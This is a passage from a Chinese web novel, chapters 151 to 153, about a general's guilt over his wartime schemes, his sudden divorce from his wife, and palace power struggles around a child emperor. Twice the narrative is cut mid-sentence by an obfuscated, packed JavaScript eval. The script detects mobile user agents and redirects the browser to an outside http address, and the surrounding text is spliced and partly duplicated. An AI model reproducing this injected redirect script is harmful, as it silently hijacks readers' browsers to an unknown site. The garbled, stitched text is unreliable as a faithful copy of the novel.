锦瑟很喜欢小孩,家里的三个孩子、保育院的孤儿、义塾里懵懂的稚子,她全都疼爱备至。 有时,苻洵从码头回来得比较早,就去济慈街接她,那是一条被划拨出来、专门抚养战争孤儿的长街。总能看到她耐心替孩子擦拭脏兮兮的脸,教他们用写字算数,一家一家去敲店铺门,送大点的孩子进去做学徒、谋生路。 她身上有一股力量,柔软而坚韧、带着炽热的暖意。夕阳在她脸上镀了层柔光,干净美好得像是另一个世界的人。 有时候,他们一起出门,在大渡口分道扬镳。 她在岸上跑马飞奔向济慈街,迎着金红色的朝阳,她紫色披风、黑色长发飞拂在江风中,绚烂而明朗。 他在江心乘船驶向水师大营,向着黑沉沉的刀兵,他黑色战甲、白色长刀撕破纯净的晨雾,黯淡而森凉。 一面向生,一面向死。 如此久了,他越来越讨厌她对孤儿们的用心,甚至回家之后也不愿看到三个孩子。 他莫名奇妙地满心烦躁,想冲过去对她嘶喊,没用的!没用的!到处都在杀伐、都在死人,到处是无家可归的战争孤儿,她、她们救不过来的,没有人救得过来! 他日夜不辍地操练水师,这批人在将来也会冲上战场,或被杀死、自己孩子变成孤儿,或杀死别人、将别人的孩子变成孤儿。 遑论北疆那从未停歇过的金戈铁马、腥风血雨。 他想用尽全力说服她,似乎只有说服她,他在练兵时看着那些鲜活的脸庞、血迹斑斑的战甲、锋利的弓弩枪戟,才能心安理得。 . 立冬那天,济慈街所有棚屋墙壁破洞都已补好,屋顶的稻草都已加厚,稻草还剩余不少,全都用来垫作床褥,炭火、棉花、柴薪等御寒物资业已就位。 锦瑟在济慈街反复逡巡,确认过冬准备俱全后,松了一口气,安步当车走到街口。苻洵倚靠牌楼歪歪站着,牵着一黑一白两匹马,见她过来,赶紧展开厚厚的貂裘迎上去。 “这么冷的天,还天天往这儿跑”,苻洵替她解下罩在外面的夹棉披风,放到马背上,展开貂裘替她穿上,“你如今身子虽大好了,还是得注意,受了寒又半月半月地喝药遭罪。” 锦瑟看着他慢条斯理替自己整理衣领、袖子,笑盈盈道:“早先可是你说的,进这些地方莫要穿得太好。” 苻洵牵起她的手、将她扶上白马,再纵身跳上黑色健马,与她并肩慢慢往提督府遛去。 他眉眼漾着笑意:“今天立冬,我让他们去集市买活鹿回来现宰,回去吃热腾腾的锅子。” 锦瑟轻轻叹了口气,回头遥遥看向济慈街:“阿洵,咱们多买些鹿肉,也让他们好好过个节?” 苻洵摇摇头:“买些羊肉和猪肉就行,羊肉煮着吃,猪肉包饺子。” 锦瑟不解:“府里也不差这些银钱。” “不是舍不得钱……对于他们,鹿肉太过昂贵,或许这辈子都吃不上第二顿”,苻洵脸上笑容消失,目光露出悲伤,轻声道,“这就跟我让你莫要在他们面前穿得太好一个道理。” “知道世上有那么好的东西,却注定不能长期拥有,是一件太痛苦和残忍的事。” 锦瑟觉着他此话颇有深意,却百思不得其解,不知不觉已到提督府门口,檐下站着一个许久未见的熟悉身影——郎琊。 苻洵示意她先进去,然后走近郎琊,低声交谈了几句,声音突然高了几分,带着难以置信。 “兕儿?” 151. 代价 一个月前,怀阳城下,穿白色曳撒的青年男子骑在马背上,左手拎着一名身高齐胸的男童,右手握着滴血的弯刀,眼眶通红、身躯因愤怒而颤抖。 “二师父,大师父呢,我要见大师父!” “他为什么不肯见我?” “他以前答应我的,等我成为汗王跟前第一巴图鲁,他就收我当义子。我现在不但成了第一巴图鲁,还干得更有出息,他说话不算数!” 是挺有出息,都快将你大师父的脑袋出息丢了。 “冯栩你讲点道理,哪有上赶着给人当儿子?”郎琊糟心地摸了摸鼻子,挤出个微笑,温声劝慰,“他不是不来见你,是这几年太忙,没空来北疆。” “他有什么好忙的?”冯栩声音陡然拔高,寒声质问,“以前他周旋列国,都还记得我生辰、还送我小马。天天练兵打仗,都能抽出时间指点我刀术兵法。现在你们跟翊国的仗都打完了,他有什么好忙的?” 顿了顿,语气透出几分咬牙切齿:“听说他娶妻了,他宁愿天天跟女人厮混,都不肯来看一眼我。” 郎琊头大如斗,扶额艰涩道:“冯栩,你听我说……侯爷对夫人,就像你跟你对阏氏一样,这跟师徒情份不一样。” 冯栩唇角剧烈抽搐,恨恨道:“我就算娶了阏氏,也没有忘记师父,他有了女人怎么就不要我这个徒弟了?” 郎琊感觉跟他说不通,又不敢提“异族”之类词汇去刺激他,酝酿半晌抬了抬手:“你先把思源放下来,咱们另找个地方好好谈。” 冯栩更加愤怒,索性一把将刀架到思源脖子上,满眼凶狠戾气:“师父不但说话不算数,还给翊人运送粮草、跟他们合起伙来打我,他要是不站出来分说清楚,我就杀了他的儿子。” “按你们北宛规矩,思源现在是你儿子”,郎琊咽了口唾沫,堪堪维持着笑容,“哪有拿自己儿子威胁别人的?再说,你这样对待思源,阏氏会伤心的。” “现在昙儿跟我生了很多儿子,少一个无所谓”,冯栩冷笑着右手微微施力,在思源脖子上切出一道血痕,“大师父辜负了我,我要跟他恩断义绝,杀了我跟他的儿子。” “……”郎琊两眼一黑,轻咳两声,“冯栩,你还是再好生学学中原话吧。” . 自建宁九年七月、平南侯出使奉宁开始,南翊、北翊、荣国再启“边垣之盟”,南翊从长济渠、伊河水路运送的粮草,过境粮草荣国和北翊三七开。 北翊得了粮草支援,继续对抗冯栩;荣国赚了粮草外快,骑兵养得马肥兵壮;南翊最不缺的就是钱,兵不血刃保住珍贵的骑兵,还顺便牵制住苻洵和金州局势,为幼主长大、朝政安稳争取到时间。 惠而不费,三方都很高兴。 只有冯栩不高兴。 他倾举国之兵挥师南下,除了占据三大关隘和盆地,更是为了燕、洺两州的大片平原沃野。跟北翊不同,北宛没有多少不事生产的常备军,民众太平时节牧马耕作、战时上马杀伐,同一块好土地,能养活的北宛人是北翊人的数倍。 这样养出来的散骑,虽战力远不及常备骑兵,但架不住人多。 冯栩从建宁七年五月打到建宁九年六月,好容易耗空北翊仓廪、使得骑兵战力大损。掐着日子等到八月中旬、即将秋收时去攻打,想着趁其青黄不接打下城池,顺道劫掠一波满载而归。 建宁九年中秋,冯栩兵临怀阳城下,冷不防遭遇谢朗率军出城迎敌,那支骑兵个个马肥膘壮、神采奕奕,铠甲和武器都是整齐崭新的,哪还有先前被饿得半死不活的羸弱样? 北宛汗王对自立为王的部落惩罚十分残酷,所以冯栩想破脑袋也想不到南翊会支持北翊。 当时首先想的便是先前底子并未耗空,北翊在示弱诱敌深入。有来有回打了几场仗,眼睁睁看着燕洺平原安然渡过秋收,又撑过一个冬。 建宁十年春,冯栩继续率兵攻打……被谢朗追着逃入建兴城,北宛丢失上阳郡,这一丢就是整整大半年。大半年间,冯栩多次发兵要夺回上阳郡,每次遭遇的北翊骑兵都兵强马壮。 他终于确定,北翊有别的粮草来源。南翊隔着个东原道、绝无可能,他回想起当初苻洵命人拆除龙门渡口,揣测是荣国。派出斥候多次潜入北卢郡威远将军府寻找苻洵,对方踪迹全无。 冯栩几年前攻打三大关隘,倚仗的是“萧勖”这个身份获取线报。如今正值战时,北宛人长相特征明显,耳目细作极难长期埋伏,所以他在荣国境内并无翔实可靠的线报,压根不知苻洵早已罢官南下。 于是建宁十年冬,伊河冰层最厚的时候,冯栩率狼卫急行军,绕过上阳郡、径直跨伊河攻打英平郡,想逼苻洵出来分说清楚。 这一打,就捅了马蜂窝。 苻沣下令薛怀嘉带郅阳骑兵驰援,与沈绍宗合兵打得冯栩落荒而逃。回去时又被占据上阳郡的霍修率兵包了饺子,好容易逃出生天。 冯栩本就是遇强则强的性格,被摆了一道,凶性大发。等今年夏季马匹养肥了,再纠集十万骑兵南下,一路攻打上阳郡、怀阳城。 这次,苻沣先是选择了袖手旁观。 南翊太富有,北翊被养得兵强马壮,他们可不像北宛人不通水性。若有朝一日强过了头,从淮水、伊河南北围攻东原道,等待荣国的,不止是将打下的土地还回去那么简单。 交通便利是把双刃剑,荣国一旦丢失东原道,冯太后再将南北翊合并,届时数十万大军通过澄洛驰道反灌奉宁,等待荣国的便是覆灭之祸。 于是今年七月,上阳郡、怀阳城再度落入北宛控制,洺州城告急。苻沣眼看北翊损兵折将差不多了,立即让南宫羽渡河驰援洺州,郎琊此时在玄甲营就职斥候部校尉,也随队伍一起渡过伊河。 玄甲营已恢复到五千人,对上北宛散骑势如破竹。岂料冯栩一见到郎琊就跟疯了似的,全然不顾激战正酣,从并肩骑乘的马背上一把薅过思洛,掉头冲向怀阳。 郎琊奋起直追,一直到追到怀阳城下,俩人就此在人烟稀少之处开始对话。 . 远离提督府的一家茶肆包间里,久别重逢的三人围着一方小桌,桌上摆放着黄铜炭炉,炭炉上的铁丝网搁着茶壶、栗子、柿子、桂圆,炉子周围的小碟里装着瓜子、糖饼、马蹄糕。 秦川津津有味嗑着瓜子:“这冯栩,好好的大男人,怎么跟个被抛弃的怨妇一样?” 郎琊扶额叹息:“前些年我就发现,那狼崽子从小无父兄教养,所以对主子有畸形的依赖。” “主子真厉害”,秦川捂嘴偷笑,“不但招桃花,还招儿子……” 郎琊冷冷一记眼刀,吓得秦川赶紧把剩下的话吞下去。 他沉吟半晌,试探着问:“主子,那孩子非得去救么?元昙又没求到你这儿,咱们何必自作多情?” 秦川有些激愤:“对啊,那个疯女人,当初养面首乱生孩子就算了,还到处说是你的。主子不辩解也罢,怎么还顾惜这么多?” 顿了顿又说:“冯栩狠毒到了骨子,眼下既已知晓荣国与南北翊联盟,这趟诱你过去,若不能为他所用、必定有杀招等着的。” 苻洵一言不发,坐在旁边一口接一口喝酒,不知在想着什么。铜炉里的银丝炭透着幽暗红光,映得他面容晦明莫辨,唇角翘得很高,笑容极盛。 郎琊发现他左臂正难以抑制地发颤,顺着衣袖看下去,他左手掌心紧握着一物,瞧得久了才分辨出来,那是一只深红色香囊,用蛮疆最复杂的挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717788|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花针绣着一对活灵活现的蝴蝶。 郎琊轻叹一声:“主子,不过是个私生子,你千辛万苦才跟夫人走到现在,为这个把自己搭进去不值啊。” “是啊,不过是个私生子”,苻洵轻轻笑出声来,一瞬不瞬盯着红彤彤的炭火,眼神充满嘲弄和悲凉,重复了一遍,“不过是个私生子。” 他点了点头,含笑瞟过郎琊和秦川:“我也不过是个私生子。” 郎琊大惊,忙不迭辩解:“主子,我不是这意思。” 秦川也连连附和:“咱们绝无不敬之意,只是眼看着主子和夫人如此恩爱,替主子觉得不忿。虽说那俩孩子无辜又可怜,但跟主子没关系。” “怎么与我无关?”苻洵仰头将瓶中酒一饮而尽,笑意愈盛,“若非我当初为偷挖行兵暗道,与元昙周旋,怎会将她惹得如此疯癫?” “主子那是为了暗度陈仓,夺取洛京”,秦川咽了口唾沫,艰涩道,“她疯起来真是一言难尽,当时主子宁愿自残压制药性都不……谁知道惹得她更疯,能自甘堕落成那样?” 苻洵苦笑:“若非我去拆穿那俩孩子身世,他们又怎会失去冯彬那么温厚的养父?” 郎琊忙说:“主子是眼见元昙失控,怕她与冯栩勾结夺了冯彬的位,想逼冯彬换个可控的阏氏,同时加剧北宛和翊国的矛盾。” 苻洵摇头:“若非我养出冯栩这头狼崽子,那两个孩子怎会落到如此境地?” 郎琊叹了口气:“主子的初衷是给冯彬送一员骁勇战将,让北宛有实力牵制翊国,谁能料想冯栩动作那么快?” 秦川恍然大悟,猛地一拍脑门:“当年的那达慕盛会,咱们盯了延恩侯府和翊国使团好几天,末了末了,全都没用上。” 苻洵拿起另一瓶酒,拔出瓶塞,仰起头往口中倒酒,他眼中泪光盈盈,却一滴也未溢出。 “主子,莫要过分伤怀,饮酒伤身”,秦川赶忙劝慰,“主子所做一切,都是为了守护故国。” 郎琊也说:“明眼人都看得出来,当时翊国一旦平定北宛,就会开始对付我们。若运气好,不过交战几场、消耗掉咱们新组建的兵力;若运气不好,那就是倾覆之灾啊。” 秦川赶紧附和:“是啊,您以最小的代价除掉荣国最大的威胁,从社稷百姓的角度看,何错之有啊?” 苻洵的笑容苦涩而讥诮:“无论初衷为何,发生了就是发生了,我不杀伯仁、伯仁却因我而死。哪有不会被揭穿的往事?哪有不需要付出代价的捷径?” 他声音忽然柔和下来:“秦川,你先回去跟夫人说声,我还有事晚些回去,叫她莫等我。” 郎琊目送秦川走远,喟然长叹:“下午瞧见夫人的气色和精神都很好,跟五年前在柘枝城重逢时天差地别。她跟主子这几年过得很不错吧,何不把这些前尘揭过,与夫人就这样和和美美过下去?” “我何尝不想……”,苻洵痛苦地闭上眼,滑落两滴泪珠,“冯彬之死、元昙失控、七月大屠……因我导致的桩桩件件,全是她死都不愿面对的噩梦。” “那个人的崩逝,冯栩有份、元昙有份、我也有份。我和她隔着的血仇数不胜数……” 他摊开双手,翻来覆去细看:“这双手早就洗不干净了,说揭过去就揭过去,清清白白跟她过日子,做梦呢?” 接着,他晃晃悠悠站起来,推门而出。风裹挟着雨丝旋转不休,他头也没回、踉跄着走进雨里。 细密的雨丝如烟似雾、交织成铺天盖地的大网,隐隐绰绰传来他大笑的声音,上气不接下气,如癫似狂。 “该赎的罪孽一桩都不会少、该还的旧账一笔都不会漏……” “跟她干干净净地重新开始?” “你?也?配?” 152. 锥心 锦瑟一觉睡醒,听着屋外绵密的雨声,目光扫过枕畔身侧,空荡荡的、冷冷清清,已经接连三天如此。 “絮儿,昨晚侯爷没回来么?” 絮儿应声进来:“回来太晚,怕吵着夫人歇息,在书房睡了。” 锦瑟半信半疑,来渝安这几年她睡眠变好了,就算半夜被吵醒也能极快再次入睡。何况,以往的时候,苻洵哪怕是丑时寅时回府,也会沐浴后直接回主屋歇息。 自从她那次心软,他就赖着夜夜与她同床而眠,虽然并未……但他对睡一张床的执念简直无法抵挡。 她心不在焉地梳着头发,一件带着体温的外袍披上后背,苻洵不知何时进来的,矮了矮身躯、将头搁在她肩膀上,注视着镜中他们紧贴的面颊,翘起唇角。 她隐隐感觉他有哪里不同了。 一起用过早膳,苻洵把她拉到书房,她一眼就瞧见榻上并无铺被褥,灯台上的蜡烛燃得只剩个底,书案上满满铺着一堆物什。 他先拿起一卷山脉走向图,展开来正是从禄丰山进穷途村的舆图,还有用丹砂描绘的清晰路线图。 “姐姐,要是记不住路线,摊开看看。” 她心底涌起不安:“你不想带我进去了?” 他笑了笑没回答,又拿过一片细长的黄铜递给她,那是一块古拙简约的符节,錾刻着六个大字——“翊西津渡宜邑”。符节底下压着另一张舆图,密密麻麻的街道巷陌排布似蛛网,图名“翊都阊江图”。 她心里更不安,蹙眉抬头看他,错愕地问:“给我这个作甚?” 苻洵仍未回答,拿起鼠须蘸了靛青,开始在那张“翊都阊江图”上描画,从东边城门进、过三个巷口、再往南五条街,将一座宅子圈在中间。 她心脏噗通噗通直跳,一把夺过他手中的笔,声音高了几分:“问你话呢?” 苻洵手仍顿在半空,过了许久才慢慢放下,喉结滚动几下,唇角勾起一抹漫不经心的笑:“姐姐,我们和离吧。” 鼠须笔啪嗒掉落,溅起几滴颜料,锦瑟震惊地倒退了好几步:“你说什么?” 苻洵头也没抬,将一张和离书铺展在她面前,定睛一看,他已签好自己姓名。 “你签好姓名,我派人送到宗正寺,替你在宗谱玉蝶上除名。” 憋屈、恼怒和不安在心底翻涌,鼻子一酸,泪水模糊了视线。她怔愣半晌,张了张嘴想问为什么,却一个字也没说出口。只是倔强地盯住他,期待他像以前吵架了那样,服个软、主动把话收回去。 可盯了半晌,他仍是那副平淡却十分坚决的表情。锦瑟感觉心都凉透了,又生气又难过,抬起头强忍泪意,一把抓起狼豪,蘸上墨汁、龙飞凤舞签下姓名。 “和离就和离,谁怕谁!” 苻洵手一抖,呆愣了半天,似乎没反应过来,旋即苦笑着摇了摇头。 随后,他动作加快了些,将进山的舆图、翊都阊江图卷起来,同符节一起装入木匣,匣底还有一封信、信函却是空白的。 “山里那个去处不消细说,至于阊江的这个——” 他闭上眼深吸一口气,压制住唇角的颤抖,竭力语气平淡地娓娓叙说:“你老家在滬南,家中已无兄弟姐妹,我有一故人在阊江,可助你安身立命。外面已跟从前大不相同,若你决定去阊江,除了这个人,谁都不要相信!” 锦瑟流下泪水,跺了跺脚,带着哭腔喊:“要你管?” 苻洵动作一滞,唇角再度挂上那副轻佻的笑,桃花眼波光流转、斜斜瞥过来:“一个合格的浪荡子,应当能与所有红颜知己好聚好散。” 锦瑟正无所适从,他又拉开抽屉,取出一个长约四寸的细条檀木盒,盒盖用金粉描着流云和梧桐枝。 他注视木盒片刻,将其也放入木匣:“我那位故人身份显贵,登门造访者数不胜数,把这块桐烟墨交由门房转送,他便知道是何人登门。” 锦瑟怔愣注视着他行云流水的动作,泪水不受控制地滴落。他却恍若未见,侧过脸定定对她对视,神色凝重、抬高声音重复了一遍:“记住,除了这个人,谁都不要信!” 然后,他拿起桌上那纸和离书,转过身推门而出,头也不回地渐行渐远。 . “奚氏桐烟墨,龙鳞眉纹砚,白玉透雕羊毫笔……”元旭站在书案后,目光扫过案上一样一样摊开的物什,啧啧称赞,“九叔,你这儿好东西真不少。” 他信手拿起长约四寸的细条檀木盒,推开滑槽盒盖,凝视那细腻的光泽:“坚如玉,纹如犀,这奚氏桐烟墨总出产不超过三百条,十倍黄金都难买啊。” 又端起砚台,举到眼前反复打量:“这么漂亮的雁湖眉,堪称孤品,有价无市啊。” 元璟正从书房门口往里走,瞥见他又要把玩那支羊毫笔,忙连声喝止:“放下放下……你这孩子怎么回事?我刚出去看个菜,你就在这儿拆上了?” 元旭促狭地眨了眨眼:“好东西就要拿出来用,许久未见九叔挥翰染毫,我那书房可还缺一幅字。” 元璟忙从他手里夺过:“这个用不得,要还回去的。” “还?”元旭挑了挑眉,调侃道,“谁啊,送这么重的礼,事情想必难办得很,让咱们丞相大人都觉得棘手。” 元璟肉痛地翻来覆去看墨、砚和笔,确信一根发丝的损耗都没有,才松了口气,将它们小心翼翼放回抽屉,拿了把大锁扣好。 “有个傻小子,看上我红颜知己家的女儿,那姑娘自小没了爹、又一直依赖我,那傻小子找到我,想托付媒妁。” 元旭笑盈盈问:“红颜知己?哪一个?” 元璟没好气瞪了他一眼。 “托付媒妁就送如此重礼,不是太傻就是太有钱”,元旭收了调侃,饶有兴趣地探问,“后来呢,怎么没成?是不是那姑娘嫌弃这小子太傻或是太丑?” “人家不丑也不傻,年少有为、功成名就”,元璟叹了一口气,“他只是晚了一步,他喜欢的那姑娘,早跟别人有婚约了。” 元旭遗憾地摇了摇头:“那也是无法可想,听这样说,倒是个难得的痴心人。那姑娘知不知道有他这号人?” “拿不准,起初以为他们有点意思,还劝过跟她有婚约的那人”,元璟颇为头痛地扶额,“谁知没过多久,那姑娘就跟那未婚夫出双入对,反正她那未婚夫也很难劝,我也不好多管闲事。后来我多次托人还礼物,那傻小子却说送了便送了,落子无悔。” 元旭感慨:“易求无价宝,难得有情郎。也不知那姑娘是否后悔。” “不知道,后悔也不会跟我说。她是个大犟种,别人是不撞南墙不回头,她是在南墙上撞得头破血流、还要把南墙拆了继续走”,元璟怅惘一笑,“她那夫君很出色,又与她青梅竹马,若两人都不贪妄不偏执,顺遂一世倒也不难。” 元旭神色黯然,又带着欣慰和期许:“那就好,世事难两全,但愿他们琴瑟和鸣。” “算是……举案齐眉,孩子都有了。”元璟唇角噙笑,眼底透出悲凉。 屋外传来匆忙的跑步声,他赶紧迎出门外,一眼望去大惊失色,弯膝跪下:“陛下,你怎么来了?” . 元承祎一路小跑着跨过院门,身后追了一路小厮仆婢侍卫。他跑到院中停下脚步,转身怒道:“朕命令你们,全部停下来,退出去!” 身后的小厮仆婢赶紧听命退出,侍卫们却没有退意,只是就地齐刷刷跪下、叩头如捣蒜。 元璟抬头冷笑:“好得很,陛下的口谕也敢不听,以前庄王和烈王陛下在的时候,你们也是如此办差的?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730522|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 几名侍卫面面相觑,纷纷稽首告罪,退出院门。 元承祎目送他们走远,小跑着扑进元璟怀中,眼圈发红,抽抽搭搭问:“叔公瞧见六叔了没,我在鹤雪别苑没找到他。” 元璟正想着蒙混,承祎又说:“今天是十月初八,娘亲已经离开我们整整五年了。” “是啊,五年了”,元璟愣了愣,眼里涌出泪花:“陛下可还记得,娘亲走的时候怎么跟你说的?” 元承祎哭得更伤心:“她说的每一句我都记得,可总是做不好。” “娘亲说‘承陵哥哥就是我的亲兄长,要敬他、爱他,长大之后尽心辅助他’,可承陵哥哥战死在昇阳了,我不知道该辅佐谁。” 元璟:“承陵哥哥的担子放到陛下肩头了,陛下不用辅佐谁,应当使所有人来辅佐陛下。” 元承祎:“娘亲还说‘要像父王那样,克己慎行、勤学苦读、习武不辍’可我太笨,祖母总说我不如父王幼时学得快。” 元璟叹息一声:“陛下天资不输庄王,之所以学起来慢,只是因为陛下还要治国。就算是庄王,年幼也有让你祖母失望的时候。祖母说那些话,只是想敦促你上进,陛下切莫太放在心上。” 元承祎抹了一把眼泪:“娘亲也让我听祖母的话,可祖母却不愿意我们思念娘亲。” 元璟脸色一变:“陛下听谁乱嚼舌根?” 元承祎摇了摇头:“今天一早,徽儿让我传三舅舅和小姨母进宫,口谕还没出宫门就被拦下来。祖母说我作为一国之君,不该如此荏弱多情,又责怪徽儿召外男擅入后宫,可父王在的时候,从不避讳这些。” 三舅舅,司南侯收养的族侄褚钧贤;小姨母,司南侯幺女褚舜瑶,眉眼神韵与舜英有几分相似。 元承祎定定注视着元璟,又说:“听卢大夫讲,祖母这是党同伐异、窃权乱……” “住嘴!”元璟惊恐地睁大双眼,顾不上礼节、一把捂住他的嘴,“此话陛下万不可讲,若还想卢大夫活命,更要守口如瓶。” 元承祎立即懂了,惶恐倒退半步,压低声音正色道:“请叔公教我。” 元璟垂眸凝视地面,沉思半晌,挥手招来一名家仆,低声吩咐了几句。 片刻后,家仆从厨房端来一个小竹筐,里面几只青壳螃蟹挨挨挤挤爬着,其中两只正在蜕壳。 元璟也不怕咬手,捡起一只蜕壳到一半的螃蟹,递到元承祎手边,指了指壳内的新肉和蟹壳:“摸摸?” 承祎摸了摸那层浅青发白的软肉:“软的。” 又戳了戳深青色的旧壳:“好硬。” 元璟笑了:“太后娘娘便是这层极硬的外壳,陛下如今年龄还小、羽翼未丰,恰如壳内新肉。” 元承祎盯着螃蟹,又看了看筐中另一只,那只螃蟹的新肉比手里这只细弱些,挣扎着从壳中爬出来,伏在地上、慢慢失去了生机。 他垂眸思索一阵,轻声道:“侄孙受教,决不在羽翼未丰时轻易与外壳磕碰,更不会随意抛弃外壳。” 又有些焦虑地问:“敢问叔公,何时才是侄孙蜕壳而出的时机?” 元璟眸中显出温柔慈和:“殿下至今有此疑惑,恰恰说明,时机还差得远。” 他抬眸看向遥远的天际,一字一字道:“到了那一天,陛下自己就能有所感知,无需任何人提醒。” 承祎离去之后,元旭等侍卫、仆从散尽,才慢慢从书房的屏风之后转出来:“形势如此,我以后还是不来桐花别苑了,咱们避着些。” 元璟无奈叹息:“这样也好,他们兄妹俩一伤心还有处可去。” 元旭摇摇头:“倒了个崔氏,起来个冯氏,母后怎么变成这样了?” “她不是变成这样”,元璟弯起唇角,似笑非笑,“她是一直都这样。” 153. 最后的袍泽 元旭蹙眉回想良久:“我只记得小时候,母后一直仁厚温婉,待所有孩子都很细致妥帖,就连那些宗室大臣的子女,也都关怀备至。何况,当初四哥一登基她便立即放手,并无眷恋之态。” 元璟坐回案后,往池头雕花砚中加了几滴清水,拿起用了一半的龙纹墨条慢慢研着:“昭王庄王父子俩,一个比一个强势、一个比一个聪明,她若不合时宜地表现出权力欲,后果会怎样?” 元旭一愣。 元璟唇角弯起:“话说回来,她干嘛要与自己亲儿子争权?庄王与她感情深厚,她只要顺利当上太后,信重、家族荣宠……这些东西不必她说,庄王自会送到昇阳冯氏手里。” 他研好一池磨,铺开一张白麻纸,用镇纸压好:“大概是征和二十年的时候,我想带阿英去西市,好多次都约不出来,过后才知道她被召到景和宫,同席的有武焕武煊,还有冯家兄弟……就是没有庄王。” 元旭噗呲一声笑了:“那时候我也在,四嫂武德充沛,将冯家兄弟揍得满地找牙、走路都躲着她,至于武煊,处着处着成了兄弟。” 元璟扶额叹息:“她一直那副狗脾气……” 元旭忍俊不禁:“这一说我倒想起来,母后那两年经常传四哥和阿灿小聚,结果阿灿看上了四嫂……这也没什么吧,男大当婚女大当嫁,做娘亲的操操心,过后不也只能顺着四哥?” “不顺着还能怎样?反正后来承陵也娶了臻臻”,元璟取过紫毫笔蘸上墨汁,在纸上笔走龙蛇,长声叹息,“孽缘啊,好好的养女变儿媳。” 元旭蹙眉感叹:“恩爱都是给外人看的,四哥怎么娶到她、咱们都清楚。怎么到头来她非要生死相随?竟连母族和小陛下都不要了……莫非成婚时间一长,假恩爱也能变成真恩爱?” 元璟凉凉叹息:“人非草木啊……何况那还是一国之君。话说回来,只怕当初也想不开,重病缠身卧榻不起,偌大个景和宫就她一个主子,都没人说说话,天天睹物思人,一根麻绳吊死最应景。” “那些东西没撤走?”元旭猛然睁大双眼,瞳孔急遽颤抖,“当初国丧我回昇阳守孝,亲耳听见母妃跟母后提议,将景和宫旧物收起来,挂些新鲜喜兴的东西。” 元璟抬笔停在半空,怔愣半晌、喃喃道:“何止没取走,我当时进宫去探视她,寝殿里的沉水香浓得呛鼻子,也没个人给端走。” “这更不可能,熏衣香不利子嗣,四哥从成婚起就不用了”,元旭难以置信地惊呼出声,“我成婚前母妃特意跟我说过,难不成是……” 他惊恐地看向元璟,下意识捂住了嘴。 “新王承陵是她看着长大的,王后出自武氏,她手里还有两个正统的嫡孙。不听话的褚氏、外加嫡孙生母……多余”,元璟扯了扯唇角,挤出凉凉的微笑,右手发着颤、手背青筋根根绽起,“可阿英一直视她为母啊,难道就不会让着她?她何必如此狠绝?” 元旭叹了口气:“当初四哥变革新政,器重褚氏、却对他们结交朝臣十分严苛,逼得他们只能作纯臣;他又明着放话说挚爱四嫂,终他一生只册王后、空置六宫,四嫂和褚氏早就被架在火上了。瞧着显赫荣耀,朝中处处是敌人。他一走褚氏便孤立无援,没有冯氏也会有别的世家大族。” 元璟苦笑摇头:“从古至今,哪个君主不霸道?就算是谦谦君子如建宁王,到了那个位置上也会被裹挟,会身不由己。庄王与我说过,王者,孤家寡人也,要托付中馈,他只信得过阿英。” “再说,谁人能料想自己英年早逝?”他顿了顿,也叹了口气,笔力渐狂、蕴着无尽丧乱烦闷,“他们两个啊,他若不为王,只与阿英做平凡夫妻也好;他若不娶阿英,只做一国之君也再好不过。” “可惜了,明明是为权力而生,也已夺得至高权位,却还要贪恋那点痴心。” 龙蛇飞动的笔势陡然一收,字字力透纸背,元旭好奇地探过头去看,被元璟一巴掌拍开:“别看了,写得乱七八糟的,丢人!” 也不待元旭反应,一把扯住他袖子,连推带拉往外薅:“走走走……吃饭吃饭……” 洁白如雪的白麻纸上,墨迹正逐渐干涸:当时若爱韩公子,埋骨成灰恨未休。 . “此时相望不相闻,愿逐月华流照君。” 姜嫣跪坐在宛平城西郊的陵墓前,呆呆注视着面前一沓厚厚的白麻纸。 每一页暗旧发黄的纸张,都写着这样两句话,下笔迟疑涩滞,一笔一画都是提笔少年难以启齿的复杂心绪。包裹着这沓白麻纸的是一件褪色的丝麻骑装,三十多年前昇阳流行的款式。 一张张拿起来,纸页之间夹杂的梨花也已泛黄发黑。 姜嫣怔了半晌,唇角勾起疲惫的笑,支起火盆,将纸张和衣袍放进去,注视着它们一点点化作灰烬。 “阿晞,跟你说个好消息,从阊江送来的粮草很及时,眼下已入冬,我们又撑过去了一年。” “刚开始那两年,北宛骑兵像是杀不尽一样,一波又一波……我跟承赟每天对着一点点见底的粮仓,听着城外的厮杀,不敢睡觉,不知道一觉睡下去,第二天还醒不醒得来。” “承陵没了,笙儿也没了,七月份在怀阳战死的,要不是荣国玄甲营驰援,还不知下一个战死的是谁。” 她唇角笑意变得嘲讽:“玄甲营啊——四年前攻破昇阳的玄甲营,母后还真是有本事,血海深仇转眼就又拉拢成盟友。你、阿英、承陵、武氏满门、阿旭……她总有法子让人心甘情愿在冲在前头,她干干净净坐在那运筹帷幄。” “就算她支援粮草,我也不会对她有半分感激,不过是远远地养着咱们这支骑兵,等时机到了再收回去。若是为了阿旻、承陵、阿英,我乐意替他们守着,可若是为了她,我不乐意!” 她眼神逐渐渺远:“起初承陵听阿英的话,绝不轻启战端,去了她那一趟就改主意了……军营还没摸熟,急吼吼要打荣国。等到苻洵打过伊河,朝中那么多舍生忘死的将领,她偏又让一堆文人在大朝会颂扬阿旻‘君王死社稷’,激得承陵主动站出来死守昇阳。” “我就算愿意听阿英的,守着三郡二州保全骑兵,也要拥护承赟为王,伤不了她、恶心恶心她也是好的。” “她已经着手在宛陵建军马场,等过几年她养出自己的骑兵,咱们这些人也该被抛弃了——可我不在乎。” 